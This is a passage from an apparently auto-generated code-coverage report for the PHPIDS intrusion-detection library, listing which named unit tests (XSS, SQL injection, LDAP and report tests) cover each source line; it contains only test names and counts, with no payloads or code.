class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel137": { - "header": "5 tests cover line 137", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel138": { - "header": "1 test covers line 138", - "body": "<ul><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel140": { - "header": "1 test covers line 140", - "body": "<ul><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel143": { - "header": "4 tests cover line 143", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel144": { - "header": "3 tests cover line 144", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel147": { - "header": "1 test covers line 147", - "body": "<ul><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel157": { - "header": "3 tests cover line 157", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel158": { - "header": "3 tests cover line 158", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel160": { - "header": "3 tests cover line 160", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel161": { - "header": "3 tests cover line 161", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel162": { - "header": "3 tests cover line 162", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel163": { - "header": "3 tests cover line 163", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel165": { - "header": "3 tests cover line 165", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "3 tests cover line 166", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel168": { - "header": "3 tests cover line 168", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel181": { - "header": "36 tests cover line 181", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel182": { - "header": "36 tests cover line 182", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel183": { - "header": "36 tests cover line 183", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel184": { - "header": "34 tests cover line 184", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel185": { - "header": "36 tests cover line 185", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel186": { - "header": "36 tests cover line 186", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel188": { - "header": "36 tests cover line 188", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel202": { - "header": "11 tests cover line 202", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel203": { - "header": "1 test covers line 203", - "body": "<ul><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel206": { - "header": "10 tests cover line 206", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel216": { - "header": "1 test covers line 216", - "body": "<ul><li class=\"testPassed\">testCountable(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel230": { - "header": "1 test covers line 230", - "body": "<ul><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel240": { - "header": "4 tests cover line 240", - "body": "<ul><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel250": { - "header": "52 tests cover line 250", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel251": { - "header": "52 tests cover line 251", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li 